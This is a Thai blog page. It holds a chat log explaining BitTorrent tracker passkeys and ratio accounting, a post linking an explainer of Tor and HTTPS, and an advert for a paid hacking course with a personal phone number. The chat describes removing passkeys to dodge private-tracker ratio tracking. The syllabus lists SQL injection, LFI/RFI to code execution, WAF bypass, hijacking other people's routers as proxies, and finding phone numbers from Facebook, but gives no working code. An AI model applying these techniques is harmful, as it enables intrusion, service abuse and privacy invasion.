<21:39:43> "windows98SE": ปกติ เวป (tracker) จะใช้ MySQL เก็บข้อมูล ว่าใครโหลดบ้าง ... โดยมีช่องทางให้ สื่อสาร ทาง url เช่น announce.php ทั้งหลาย
<21:40:42> "windows98SE": ทีนี้ ... เพื่อที่จะให้รุ้ว่าใครเป็นใคร .. ก็มีการ gen passkey มาไว้ระบุตัวตน ขึ้น (พวก tracker นั้นเกิดหวง ข้อมูล ใน MySQL นั่นเอง ... ไม่อยากให้ คนนอกโหลด ... ต้องสมาชิกเท่านั้น)
<21:40:59> "GreanMaster": อ่าคับ
<21:41:06> "windows98SE": จบอธิบาย ฝั่ง web (tracker)
<21:41:17> "GreanMaster": เดี๊ยวก่อนนะพี่เล็ก
<21:41:25> "windows98SE": แต่ การโหลด torrent จริงๆแล้ว ... หลักๆ มันอยุ่ ฝั่ง client
<21:41:51> "GreanMaster": ตอนนั้นผมลบ passkey ไปมันก็ยังโหลดได้อยู่น่ะพี่
<21:42:41> "windows98SE": จริงๆ มีวิธีให้ลบ passkey แล้วโหลดไม่ได้อยุ่เหมือนกัน ... ซึ่ง กำลังจะอธิบาย เพราะมันเป็นการทำงาน ฝั่ง client (ต้องอธิบายให้เข้าใจการทำงาน ฝั่ง client ก่อน)
<21:42:55> "windows98SE": มาที่ ฝั่ง client ล่ะนะ
<21:43:03> "windows98SE": เอ่อ ... ไป ฉี่แป๊ป
<21:43:21> "GreanMaster": อ่าคับ
<21:43:24> "GreanMaster": 5555
<21:43:59> "windows98SE": มาแระ
<21:44:01> "windows98SE": อิอิ
<21:44:12> "GreanMaster": คับผ้ม
<21:44:13> "GreanMaster": ต่อๆ
<21:44:29> "windows98SE": ฝั่ง client เนี้ย ... ต้องปูพื้นเรื่อง bencode ก่อน นิดหนึ่ง
<21:45:15> "windows98SE": ไฟล์ .torrent เนี้ย .. จริงๆ มันคือ text ก้อนหนึ่ง ที่ encode ไว้ ด้วย อังกอริโง่ เอ้ย อังกอริทึ่ม ที่ชื่อ bencode
<21:45:33> "GreanMaster": อ๊อ คับ
<21:45:53> "windows98SE": ถ้า decode มัน ... ข้างใน มันจะบอกหมดเลย ว่าข้างในมีไฟล์อะไร กี่ไฟล์ ฯลฯ
<21:46:42> "windows98SE": และ มันจะมี อยุ่ 1 ค่า ที่จะบ่งบอกว่า โหลดได้เฉพาะคนที่มีรายชื่อเท่านั้น คือค่า "private"
<21:47:13> "windows98SE": หาก decode แล้ว เจอ private = 1 ... นั่นแปลว่า DHT mode on (หมายความว่า ทำ peer ผี มาโหลด ไม่ได้)
<21:47:33> "windows98SE": จบเรื่อง .torrent และ bencode
<21:47:41> "GreanMaster": อ่าคับ
<21:47:48> "windows98SE": มาต่อเรื่อง peer ผี นิดหน่อย
<21:48:08> "DarkEngleห": ผมขอฟังด้วยคน ^^
<21:48:12> "windows98SE": ปกติแล้ว ... torrent client มันจะ สื่อสารกันเองได้ .. ว่า ตรุต้องไปโหลด จากไหน
<21:48:53> "xellos": อาจารย์เล็ก
<21:49:09> "windows98SE": แบบ สมมุติ ผม, ตั้ม, ตาเอ โหลดไฟล์ stephack.torrent อยู่
<21:50:18> "windows98SE": uTorrent (torrent client) ของผม .. .จะวิ่งไปหา announce.php ... โดยส่งค่า info_hash ไป (info_hash คือ sha1 encode ของ content ทั้งหมด ใน .torrent)
<21:51:36> "windows98SE": announce.php มันก็จะ เอา info_hash ไปเช็ค ใน MySQL (database) ... แล้ว ส่ง ip:port คนที่กำลังโหลดไฟล์เดียวกันคืนมาให้ (จริงๆมัน ส่ง ip:port:client version:ฯลฯ ... แต่ ค่าอื่นๆ ไม่สำคัญ ส่งไม่ส่งก็ได้)
<21:52:02> "windows98SE": อ่อ announce.php นั่นคือ web เจ้าของไฟล์ นะ (ฝั่ง tracker นั่นเอง)
<21:52:18> "windows98SE": งง มั้ย ? ... ถ้าไม่งง กด 1 .... แล้ว จะอธิบายต่อ
<21:53:08> "GreanMaster": 1
<21:54:07> "windows98SE": หลังจากที่ announce.php มันตอบ ip:port คนที่โหลดอยุ่ คืนมาให้ client (uTorrent) ... เจ้า uTorrent มันก็จะส่ง packet udp ไปหา ip:port เหล่านั้น เพื่อ ขอไฟล์
<21:54:42> "DarkEngleห": ผมงงตรงที่พี่บอกว่า --ปกติแล้ว ... torrent client มันจะ สื่อสารกันเองได้
<21:55:06> "DarkEngleห": แล้วทำไมมันต้องติดต่อกลับฝั่งannounce.php ด้วยครับ
<21:55:23> "windows98SE": อ่อ announce.php มันจะส่งเวลา ที่จะติดต่อไปหา server รอบต่อไปมาให้ด้วยนะ (ที่ขึ้น นับถอยหลัง น่ะ .. ส่วนมากจะราวๆ 60 นาที [แต่ sb แมร่ง 55 นาที ... ไอ้นี่ชอบแปลกเพื่อน])
<21:56:47> "tum": อ่ะ อ. เล็กปล่อยของ LoL
<21:57:04> "GreanMaster": 60 นาที เลยอ่อ พี่
<21:57:05> "windows98SE": - ตอบฟรุ๊ค ... สมมุติ ถ้าฟรุ๊ก โหลดไฟล์ stephack1.torrent ซึ่งไม่มี announce
<21:57:19> "windows98SE": ในการติดต่อ peer (ครั้งแรก)
<21:57:29> "DarkEngleห": อ่อเข้าใจละ
<21:57:36> "DarkEngleห": พูดถึง peer เข้าใจเลย
<21:57:37> "windows98SE": ฟรุ๊ก จะเปิด port รอ คนอื่น connect เข้ามา
<21:57:41> "windows98SE": คืองี้
<21:57:51> "windows98SE": นอกจาก มันจะวิ่งไปขอ ไฟล์ จาก ip อื่นๆ
<21:58:05> "windows98SE": มันยัง แถม ip:port คนที่โหลดอยู่ ที่มันมี มาให้ด้วย
<21:58:24> "windows98SE": (ทั้งหมดนี้ client มันแอบคุยกันทาง udp นะ)
<21:59:00> "DarkEngleห": คับ
<21:59:02> "windows98SE": พอ client เราได้ ip:port ... มันก็จะวิ่งไป เกาะๆ กัน เรื่อยๆ กระจายๆ ไป
<21:59:35> "windows98SE": รายชื่อ peer ก็จะเพิ่มขึ้นเรื่อยๆ (จากตรงนี้ ก็เป็นส่วนหนึ่งเหมือนกัน)
<22:00:03> "windows98SE": ไอ้ที่ เวลา โหลดบิท ต้อง forward port ก็เพื่อ ให้มันวิ่คุยกันได้นั่นเอง
<22:00:13> "DarkEngleห": พอเข้าใจละครับ
<22:00:34> "windows98SE": จะได้ เกาะ peer กันง่ายขึ้น
<22:01:16> "GreanMaster": อ๊อ
<22:01:35> "windows98SE": สมมุติ ผม ไม่ได้ forward port ไว้ .. แล้ว ตั้ม ส่ง packet วิ่งมาเช็ค ... ติด NAT เข้ามาไม่ได้ ... list ip ผม ที่ client ตั้มเก็บไว้ มันจะลบ ip:port ผมทิ้งด้วย
<22:01:49> "windows98SE": เวลา คนอื่น ขอไปที่ตั้ม .. ตั้มจะไม่ส่ง ip ผมไป
<22:02:08> "windows98SE": ทำให้ พวก ไม่ forward port โหลดช้า (มัน เกาะ peer ได้ช้า นั่นเอง)
<22:02:31> "windows98SE": เอาล่ะ ... ที่นี้ กลับมาเรื่อง private=1 ใหม่
<22:02:32> "GreanMaster": อ๊อ แต่มันก็เกาะได้ใช่่ป่ะคับ ?
<22:02:50> "DarkEngleห": แล้วถ้าเราได้peerมาเยอะพอแล้ว เราสามารถลบpasskey ได้ไม๊ครับ peer จะหายรึป่าว
<22:03:50> "windows98SE": หลักๆคือ ถ้า เรา ไม่ forward port .. เราต้องไปไล่เกาะเขาทีละ ip น่ะ ... เขาจะเข้ามาบอกให้เราไปเกาะก่อนไม่ได้
<22:04:00> "windows98SE": มันเลย เกาะช้า
<22:04:20> "windows98SE": คำถามของฟลุค กำลังจะอธิบาย
<22:04:26> "DarkEngleห": ครับ
<22:04:28> "windows98SE": เพราะมันเกียวข้องกับ private=1
<22:04:56> "windows98SE": ค่า private=1 เนีัย เอามาบอกให้ client รุ้ว่า ไฟล์นี้ เป็น DHT on นะ
<22:05:06> "windows98SE": หมายความว่า ห้าม peer คุยกันเอง
<22:05:21> "windows98SE": เอ็งต้อง มาเอา ip:port จาก ใน announce.php เท่านั้น
<22:05:56> "windows98SE": ทีนี้ ทุกๆ 60 นาที .. มันก็จะไปเช็ค ที่ announce.php ว่าใครโหลดไฟล์ นี้อยู่บ้าง (สมมุติ stephack.torrent)
<22:06:00> "xellos": DHT off ดิ
<22:06:15> "windows98SE": อันนี้ ไม่แน่ใจ เขียนไว้นานแระป๋า
<22:06:20> "windows98SE": ไม่ on ก็ off
<22:06:21> "windows98SE": ฮ่าๆ
<22:06:26> "xellos": DHT = Distributed Hash Tracker
<22:06:26> "windows98SE": ผมเข้าเน็ตไม่ได้
<22:06:28> "windows98SE": ด้น สด
<22:06:29> "windows98SE": -0-
<22:06:49> "xellos": คือให้ client เป็น tracker ได้หรือเปล่า
<22:07:06> "windows98SE": เอาเป็นว่า ถ้า private = 1 คือ ห้าม client คุยกันเอง (หรือที่หลายๆเวปเรียกว่า ป้องกัน peer ผี)
<22:07:26> "windows98SE": น่าจะใช่แบบที่ป๋าบอก
<22:07:43> "DarkEngleห": ป้องกันได้จริงไม๊ครับ
<22:07:43> "windows98SE": client คุยกันเอง = ทำตัวเป็น tracker แจก ip:port (แจก peer)
<22:08:26> "windows98SE": - ตอบฟลุ๊ค .. กำลังจะอธิบายต่อ
<22:08:47> "windows98SE": เราจะต้อง กลับมาดูที่ client คุยกับ tracker กันหน่อย
<22:09:18> "windows98SE": ปกติ นอกจาก client จะส่งค่า ว่า โหลดไฟล์ไหน(info_hash) ... โดยใคร(passkey)
<22:10:11> "windows98SE": มันยังส่ง event (กดปุ่มอะไร เช่น start, stop, หรือ โหลดเสร็จ) /โหลดไปแล้วเท่าไหร่/อัพโหลดไปแล้วเท่าไหร่ ไปให้ ด้วย
<22:10:39> "windows98SE": ทีนี้ ใน announce.php มันก็จะเก็บค่าเหล่านั้น ลง MySQL แล้วเอามาคิดเรโชให้เรา
<22:11:30> "DarkEngleห": ratio master หิหิ
<22:11:51> "windows98SE": เช่น ตอนแรก ส่งไปว่า โหลด stephack.torrent (ส่ง event=start, info_hash=, passkey=,download=0,upload=0)
<22:12:53> "windows98SE": แล้ว 60 นาทีต่อมา ส่งเช็คค่ากับ announce.php อีกที (ทาง announce เป็นตัวกำหนดว่า กี่นาทีให้เช็คที) ... (ส่ง event=no, info_hash=, passkey=,download=1000000,upload=2000)
<22:13:22> "GreanMaster": อ๊อ
<22:13:43> "windows98SE": ทางเวป มันจะเอา (upload หาร เวลาที่ใช้) (download หาร เวลาที่ใช้)
<22:13:59> "windows98SE": มันก็จะได้ความเร็วเฉลี่ยเรา .. แล้วมันค่อยเอาไปคิด ratio
<22:14:15> "windows98SE": นี่คือหลักการ คิด ratio
<22:14:23> "windows98SE": ทีนี้ หากเรา ลบ passkey
<22:14:47> "windows98SE": client ก็จะไม่ติดต่อกลับไปบอก server ว่าโหลดไปเท่าไหร่ อัพไปเท่าไหร่ ... (ก็จะไม่เสีย ratio)
<22:15:10> "DarkEngleห": ว้าวว แล้วจะได้ peer ไม๊ครับ
<22:15:22> "windows98SE": ต้องขึ้นอยุ่กับว่า private=1 มั้ย
<22:15:35> "windows98SE": เพราะ ถ้า private=1
<22:15:38> "DarkEngleห": ก็ให้มันเป็น 0 ซะ 55+
<22:15:42> "windows98SE": ไม่ได้
<22:15:46> "DarkEngleห": T T
<22:16:11> "windows98SE": ถ้าแก้ค่าใน .torrent ค่า sha1 ของ info_hash จะเปลี่ยน
<22:16:29> "windows98SE": client จะไม่เจอคนที่โหลดไฟล์นั้นๆ อยุ่
<22:16:38> "DarkEngle": งั้นถ้าให้มันรับpeerมาก่อนครบ 60 นาทีอะครับ
<22:16:46> "windows98SE": กำลังจะอธิบาย
<22:16:47> "windows98SE": อิอิ
<22:16:50> "DarkEngle": หิหิ
<22:17:00> "windows98SE": ฟรุค ต้องมอง มุม กลับ อีกนิด
<22:17:04> "GreanMaster": *0*
<22:17:20> "windows98SE": สมมุติ ฟลุค ลบ announce หลังจากต่อ peer ได้
<22:17:42> "windows98SE": ใน server หลายๆเวป มันจะไม่รุ้หรอกว่า ฟรุคลบ
<22:18:17> "windows98SE": เพราะ มันไม่มี event ไปบอก ว่า ลบ (เหมือน utorrent ไม่ได้ ส่งอะไรไปบอก ค่าเดิมที่ส่งไปครั้งสุดท้ายก็จะคาอยุ่ใน server)
<22:18:34> "DarkEngle": ครับ
<22:18:41> "windows98SE": ใน server ก็จะคิดว่า โหลดอยุ่ .. แต่ upload, download ไม่วิ่งเลย
<22:19:28> "DarkEngle": แล้วถ้าเราทำหลายๆ torren เค้าจะจับได้ไม๊อะ
<22:19:34> "windows98SE": แต่ ...บางเวป อย่าง thailandtorrent ทาง server แก้ทางโดย สั่งให้ เคลีย peer ที่ไม่ได้ connect มาหา server เกินกว่า xx วินาที ทิ้ง
<22:20:13> "windows98SE": เท่าที่สังเกตุคือ 180 นาที
<22:20:26> "DarkEngle": ครับ
<22:21:02> "windows98SE": ดังนั้น ถ้าเกิน 3 ชม. ip:port ของ ฟรุ๊ค ที่เก็บใน database ว่ากำลังโหลดไฟล์ stephack.torrent จะถูกลบออก
<22:21:22> "windows98SE": ทีนี้ สมมุติ ตาตั้ม มาโหลด .. ตาตั้มก็จะไม่ได้ ip:port ฟรุ๊ค
<22:21:49> "windows98SE": และ ฟรุ๊ค ก็จะไม่ได้ ip:port คนใหม่ๆ ที่โหลดหลังจาก ฟลุ๊คลบ announce ทิ้งไป
<22:22:11> "DarkEngle": เอามาใส่ใหม่ได้ไม๊ แล้วก็ลบทิ้งอีก ^^
<22:22:43> "windows98SE": ได้ ... แต่ทันทีที่ใส่ .. ค่า upload/download ทั้งหมด ที่โหลดมา มันจะกลายเป็นค่าล่าสุดทันที
<22:22:57> "DarkEngle": *0* เท่ากับไม่มีความหมายอะไรเลย
<22:23:01> "windows98SE": ใช่
<22:23:10> "windows98SE": แต่จะบอกว่า
<22:23:16> "windows98SE": บางเวป กวนตีนด้วยนะ
<22:23:22> "windows98SE": connect ครั้งแรก
<22:23:29> "windows98SE": มันจะให้ connect ใหม่ในอีก 60sec
<22:23:33> "windows98SE": ถึงจะให้ peer
<22:23:44> "windows98SE": (ทำให้ ต่อ peer ช้า)
<22:23:59> "DarkEngle": ครับ
<22:24:10> "DarkEngle": นั่งรอpeerแล้วค่อยลบ
<22:24:17> "windows98SE": บางเวป .. ก็ กวนตีน โดยการ ไม่ลบ peer ที่โหลดเสร็จ หรือ stop ไปแล้ว หรือ ปิดโปรแกรมไปแล้ว ออกจาก database
<22:24:29> "windows98SE": ทำให้ ดูว่า เยดเข้ .. ไฟล์นี้ peer เป็นพันเลย
<22:24:35> "windows98SE": ที่ไหนได้ มีไม่ถึง 300
<22:24:42> "windows98SE": เพราะแมร่ง ไม่ลบ ออกจาก db
<22:24:49> "windows98SE": -.-
<22:24:52> "GreanMaster": อ๊อ piratbay ก็เป็นพี่
<22:24:55> "DarkEngle": ยกตัวอย่างเซ้แไหนอะครับ
<22:25:02> "GreanMaster": ผมก็งง คน ปล่อยเป็น หมื่น
<22:25:03> "DarkEngle": *เว็ป
<22:25:05> "windows98SE": จริงๆ มันเป็นการลดภาระ ของ server น่ะ
<22:25:11> "windows98SE": ไม่ต้องคิวรี่บ่อยๆ
<22:25:18> "GreanMaster": โหลด ได้ 20 30 kbps
<22:25:32> "windows98SE": จากที่ต้องเคลียทุกๆ 180 นาที
<22:25:39> "windows98SE": เป็น เคลียวันละครั้ง พอ
<22:25:51> "windows98SE": ให้ นึกภาพว่า .. ไฟล์เยอะ, peer เยอะ
<22:25:57> "windows98SE": หากเคลีย ทุกๆ 180 นาที
<22:26:07> "windows98SE": sv แมร่ง ต้องคิวรี่ รัวมากกกกกก อ่ะ
<22:26:17> "windows98SE": เพราะ สมมุติ พี่โหลด 20 ไฟล์
<22:26:25> "windows98SE": ตั้ม ตาเอ คนละ 20 ไฟล์
<22:26:52> "windows98SE": ทุกๆ 60 นาที มันจะคิวรี่ 20ไฟล์
<22:27:22> "windows98SE": ไหนจะ อัพเดท, insert, delete
<22:27:45> "windows98SE": 1 request ที่วิ่งไปหา announce.php เนี้ย
<22:27:49> "windows98SE": หลาย คิวรี่นะ
<22:28:02> "windows98SE": 1 เช็ค passkey ว่าเป็นสมาชิกเวปมั้ย
<22:28:08> "xellos": พวกนี้ไม่ยอมทำ cache
<22:28:12> "windows98SE": 2. เช็ค info_hash ว่ามีไฟล์มั้ย
<22:28:31> "xellos": แล้วก็อ้างว่า query เยอะ
<22:28:39> "windows98SE": 3. เช็ค ว่าโหลดไฟล์นี้ ยัง, ใครโหลดม่าง ฯลฯ
<22:28:47> "windows98SE": <--- ทำไม่เป็น
<22:28:48> "windows98SE": ฮ่าๆ
<22:29:01> "windows98SE": หรือทำหว่า
<22:29:07> "windows98SE": เห็น cz ทำนะ
<22:29:21> "windows98SE": ผมเห็น ใน source ใช้ mem มาทำ cache
<22:29:35> "DarkEngle": cz เว็ปในตำนาน
<22:29:42> "windows98SE": เข้า root ไปดู source ชาวบ้าน
<22:29:51> "windows98SE": แล้ว มามั่ว ของตัวเอง
<22:29:54> "windows98SE": ทางลัด
<22:29:56> "windows98SE": :P
<22:29:59> "xellos": พวก insert กับ delete จริงๆ ก็ควรแก้ใน cache
<22:30:00> "DarkEngle": ผมยากเป็นสมาชิกเว็ปจัง
<22:30:09> "windows98SE": จบ การ อธิบาย torrent
<22:30:10> "xellos": แล้ว update ทีเดียวเยอะๆ ใน db
<22:30:53> "windows98SE": ป๋า .. สคิป ที่มันแจก
<22:31:01> "windows98SE": ไม่มี cache อ่ะ
<22:31:05> "windows98SE": ต้องโมกันเอง
<22:31:08> "windows98SE": ซึ่ง เวปใหญ่ๆ
<22:31:12> "windows98SE": ถึงจะโม
<22:31:15> "windows98SE": พวกเวป เล็กๆ
<22:31:32> "windows98SE": เน้น spec เครื่อง ทั้งนั้น - -''
<22:33:39> "windows98SE": ส่วนเทคนิคทำไม บอทถึงวิ่งเข้าวิ่งออก database เวปชาวบ้านได้ .. ขออุบ เป็นความลับ
<22:33:40> "windows98SE": อิอิ
<22:33:51> "DarkEngle": ><
<22:34:15> "DarkEngle": ถึงว่าไม่เจอเว็ปคู่แข่งพี่เลย
<22:34:44> "windows98SE": ใครจะไปเขียน socket อลังการขนาดนั้น -.-
<22:35:13> "DarkEngle": ต่างประเทศมีเว็ปแบบพี่ไม๊ครับ
<22:35:18> "windows98SE": แถมต้องเข้าใจ protocal torrent
<22:36:14> "windows98SE": ไม่มีมั้ง .. เมืองนอกเน้นโหลดฟรี ไม่ใช้ passkey กัน
<22:36:16> "tum": อยากรู้ว่าทำไง hack stephack เข้าไปดู source โลด
<22:36:48> "DarkEngle": *0*
<22:36:55> "windows98SE": บอท verion ล่าสุดอยุ่ในเครื่องผม (แต่ใน stephack มี version 3 อยุ่มั้ง)

Wednesday, November 21, 2012

อธิบาย การทำงาน ของ internet connection

วันนี้ได้ไปแอบอ่าน facebook ชาวบ้านมา
แล้วไปเจอ link หนึ่ง ซึ่งน่าสนใจมากกก

ตามไปเล่นได้ที่ --> https://www.eff.org/pages/tor-and-https

โดยเวปนี้ จะมี รูปภาพ มาอธิบายการทำงาน
ของ internet connection, tor, https
ซึ่ง ผมคิดว่า เหมาะสำหรับที่จะใช้อธิบาย
คนที่เรียนด้านคอม และ มือใหม่หัดแฮกทั้งหลาย
ได้เข้าใจถึงการทำงานในการส่งข้อมูลใน internet ได้ดีพอสมควร

ส่วนใครที่คิดจะ ดักพาส แฮกพาสเฟสบุค แฮกemail .. ควรจะต้องเข้าใจการทำงานตรงนี้เลย
และ เมื่อเข้าใจแล้ว ก็ควรเผยแพร่ความรู้ที่มีต่อๆ ให้คนอื่นได้เข้าใจว่ามันทำงานยังไง
เพื่อที่จะได้ป้องกันได้ กันด้วยนะครับ


VDO อธิบาย การส่งข้อมูลของ http, https, tor





ปล. *เสียงเบาไปนิดนะ .. ตอนอัด ดันเปิดไม ไว้ครึ่งเดียว - -''



update

"seaphim": NSA นี่ National Security Agency นะครับ ไม่รู้ว่ารู้หรือยัง
"seaphim": หน่วยข่าวกรองสหรัฐที่ว่ากันว่ามีเครื่อง Echelon ที่สนิฟทราฟฟิกทั่วโลกได้
"seaphim": ไม่รู้จริงหรือเปล่า -.-

Wednesday, November 7, 2012

Course Version 4

เรื่องที่ต้องรู้เกี่ยวการแฮก, สอนแฮก, สอนแฮกเวป, สอนป้องกันไม่ให้โดนแฮก


จุดมุ่งหมาย
เพื่อให้รู้ว่า การแฮก เวปซักเวป หรือ การแฮกคอมซักเครื่องเนี้ย
มีหลักการยังไง, แฮกวิธีไหน และ เพื่อผู้เรียน
จะได้นำไปใช้ ป้องกันตัวเอง ไม่ให้โดนแฮกได้


สิ่งที่ผู้เรียนจะต้องมี
- ความรู้พื้นฐานในการติดตั้งโปรแกรม (setup/install/uninstall โปรแกรมเป็น)
- Computer ที่มี Ram มากกว่า 2GB (เพื่อลงโปรแกรม VMware Workstation 8)
- เนื้อที่ว่างใน Harddisk มากกว่า 50 GB
- ความรู้พื้นฐานภาษาคอมพิวเตอร์ภาษาใดภาษาหนึ่ง *(1)
- ความรู้พื้นฐาน Network, System, Linux (เล็กน้อย)
- ความตั้งใจ
- เวลาว่าง


สิ่งที่ผู้เรียนจะได้รับ
- สิทธิ์ในการเข้าถึง group ในเฟสบุค เพื่อ ถาม-ตอบ
- เนื้อหาบทความ ทั้ง ภาษาไทย และ อังกฤษ
[อธิบายเป็นภาษาไทย แต่มี link อ้างอิงภาษา EN)
- VDO สอน (อธิบายภาษาไทย คำศัพท์เข้าใจง่าย)
- บทความความรู้ต่างๆ ที่ควรจะอ่านเพราะมีโอกาศได้ใช้ (ไทย และ EN)


รูปแบบการสอน
- มีบทความสอนวิธีต่างๆ ให้อ่านในเวป
- มี vdo อธิบายภาษาไทย ทีละเรื่องตั้งแต่พื้นฐาน (โหลด VDO ไปดูที่บ้าน)
- เมื่ออ่าน และ ดู VDO จบ หากมีข้อสงสัยตรงไหน
  สามารถตั้งกระทู้ ถาม-ตอบ ในเวปบอร์ด,
  กลุ่มพิเศษใน facebook ได้ตลอด
- ทุกๆ คนเรียน 10 คน จะทำ vdo อธิบายเทคนิคแฮก
  หรือ โปรแกรม มาแถมให้เรื่อยๆ 1-2 อย่าง


ค่าเสียหาย เอ้ย ค่าเรียน
- ราคา 6,000 บาท ### ตอนนี้ราคาพิเศษ 5,000 บาท!!!


วิธีการสมัครเรียน และ ชำระเงิน
1. โอนเงิน มาที่ บัญชี ด้านล่างนี้
*กรุณาโอนเป็นเศษสตางค์ เป็นเลขท้ายของเบอร์โทรศัพท์ของคุณ
เช่น
- เบอร์โทรศัพท์ 0867xxxx16 ก็โอนมา 5000.16฿ เป็นต้น

2. add facebook มาที่ ตาเล็ก วินโด้เก้าแปดเอสอี
(เพื่อจะได้รับเข้า group ลับ ใน face ได้)

3. แจ้งรายละเอียดมาทาง PM ใน facebook ตาเล็ก วินโด้เก้าแปดเอสอี
-ชื่อผู้โอน
-จำนวนเงินที่โอน
-เวลาที่โอน
-ธนาคารที่โอน

4. โทรศัพท์มาแจ้ง ที่หมายเลข 086-7760116 (เผื่อติดงาน)

5. เข้าไปโหลด VDO สอน และ ถาม-ตอบ ใน facebook group


เนื้อหาที่สอน
เรื่องที่ต้องรู้เกี่ยวการแฮก
*(1) ถ้าเป็น php+MySQL จะเข้าทางมากๆ
แต่ถ้าไม่มีเลยนี่ คนเรียน จะแค่แฮกได้ … แต่จะไม่รู้ว่ามันทำงานยังไง
ถ้าไม่ไปศึกษาเพิ่ม มันก็ต่อยอดอะไรไม่ได้

ผมรุ้สึกว่า ถ้าไม่ได้กะจะเรียนทางคอม หรือ ไม่ได้จะทำเวป หรือ จะมีเวป
เรียนไปก็จะได้แค่ “เท่าทุน” กับค่าเรียนคับ เพราะ แฮกซัก 1-2 ปี เดี๋ยวก็เบื่อ

แต่ถ้า ทำด้านคอมอยู่แล้ว, มีเวป, คิดจะทำเวป
แบบนี้ถือว่าคนเรียนได้ “กำไร” กับการลงทุนเรียนคอสนี้ครับ

สารบัญ เนื้อหาที่สอน (update 09/10/2555)
0x01 แนะนำตัวกันก่อน
- ทำความรุ้จักกันหน่อย

0x02 สอนติดตั้งโปรแกรม (พร้อม trick)
- วิธีติดตั้ง appserv (apache, mysql, php)
- วิธีติดตั้ง notepad++ และเซ็ตค่า และ เทคนิคเสริม
- วิธีติดตั้ง widows xp ใน VMware
(ใช้ xp เพราะกิน resource เครื่องน้อย)

0x03 พื้นฐานคอม
- อธิบายเกี่ยวกับ hardware (คร่าวๆ)
- อธิบายเกี่ยวกับ exploit ของ software (คร่าวๆ)
- อธิบายเกี่ยวกับ shell และ phpshell (web backdoor)
- ทำความรุ้จักกับ server
- ทำความรุ้จักกับ ssl (https)
- ทำความรุ้จักกับ httpOnly

0x04 พื้นฐานโปรแกรมมิ่ง
- อธิบายพื้นฐาน html, css, javascript
- ทำความรู้จักกับ error_report (ภาษา php)
- ทำความรู้จักกับ cms และ sql structure
- ทำความรู้จักกับภาษา php, ฟังชั่นของ php,
การ decode file php ที่เข้ารหัสด้วย php lockit

- สอนภาษา PHP ทางลัด
(เสริมเพิ่ม ให้คนที่ ไม่เป็น ภาษา php มาเลย ... ควรดูหลัง การ decode file php)

- ทำความรู้จักกับภาษา MySQL

0x05 พื้นฐานการแฮก
- ทำความรู้จักกับเทคนิคการแฮกเวป (เรียงจาก a-z) 60+ แบบ
- ทำความรู้จักกับการหา Link, หาจุด input ที่จะใช้แฮก
- ทำความรู้จักกับ register_globals และ ความแตกต่าง
(ทำไมถึงบัค ทำให้โดนแฮก หรือ สามารถแฮกได้)

- ทำความรู้จักกับ include, require และ allow_url_include
และ การแฮกแบบ Remote File Includetion (RFI)

- ทำความรู้จักกับ disable_functions และ safe_mode

- ทำความรู้จักกับ LFI และ LFI เทคนิค ต่างๆ เพื่อให้ได้ shell
การทำ Remote Code Execution จาก LFI

- รู้จักกับการแฮกแบบ RFI, LFI และ เทคนิคการ bypass fillter ต่างๆ
การ bypass mod_security, web application firewall (WAF), ฯลฯ

- รู้จักกับการแฮกแบบ SQL Injection, Blind SQL Injection

0x06 ตัวอย่าง การนำความรู้ มาใช้ในการแฮก
- สิ่งที่ต้องเตรียมก่อนจะแฮก (การ ปลอมตัว ให้ตามจับไม่ได้ ฯลฯ)
- การหาเร้าเตอร์ชาวบ้าน เพื่อแฮกเอามาทำ sock (เอาไวปลอม ip address)
- dork คือ อะไร, แฮกแบบใช้ google dork แฮกยังไง,
การคิด dork ต่อยอดจากบัคที่เจอ เพื่อแฮกเวปอื่นๆ เพิ่มเติม

- เทคนิคแฮก joomla
- เทคนิคแฮก wordpress
- การแฮกเวป TCG (Thaicybergames) ด้วยเทคนิค Blind SQL injection
อันนี้ ผมได้ขออนุญาต ตาโดม + สอนทีมทำเวปให้แพทป้องกันไปเรียบร้อยแล้วนะ
ดังนั้น เหมือนแค่แฮกให้ดู เฉยๆ ^^"
[แฮกเมื่อวันที่ 23/09/2555]

- วิธีการ ชำแหละดูการทำงานของ โปรแกรมแฮกชาวบ้าน
และนำมาต่อยอดเผื่อเรียนแล้วเขียนใช้งานเอง
อันนี้สำหรับคนที่ เขียนโปรแกรม ติดต่อ socket เป็น
เพื่อจะสามารถ เข้าใจการทำงานของโปรแกรมแฮก และ เขียนขึ้นมาใช้เองได้

- เทคนิคเขียนโปรแกรม ค้นหาบัค LFI

- ชำแหละ CMS ของไทยตัวหนึ่ง โดยเอา source มาอธิบาย
โดยพยายามให้เห็นว่า เขาเขียนยังไง ถึงมีบัค, บัคแบบนี้แฮกยังไง,
และ แพทยังไง
[ชำแหละวันที่ 06/10/2555]


0x07 ของแถม
- script อำนวยความสะดวก ต่างๆ ทั้งที่ผมเขียนเอง และ หามาให้
- โปรแกรมแฮก ต่างๆ
- โปรมองทะลุกำแพง CSO
- วิธีหาเบอร์โทรจาก facebook
- ขอเพิ่มได้ .. ถ้าว่าง จะจัดให้

- ฯลฯ
*ข้างบนคือ เฉพาะที่เป็น VDO อธิบายนะ
ซึ่งจริงๆ ก็มีเพิ่มเติ่มเรื่อยๆ จากการถามตอบในเวป
ซึ่งมีทั้งตอบเป็นบทความและเป็น VDO น่ะ


ตัวอย่างการสอน




comment ส่วนหนึ่งของผู้เรียน


































อ่านต่อได้ที่ fan page ครับ : --> ความคิดเห็นของผู้ที่เรียน คอสสอนแฮกและป้องกันแฮก

ความคิดเห็นของผู้เรียนคอส4

comment ส่วนหนึ่งของผู้เรียน
































Why You Don't LIKE My FaceBook Fanpage ?
×
blogger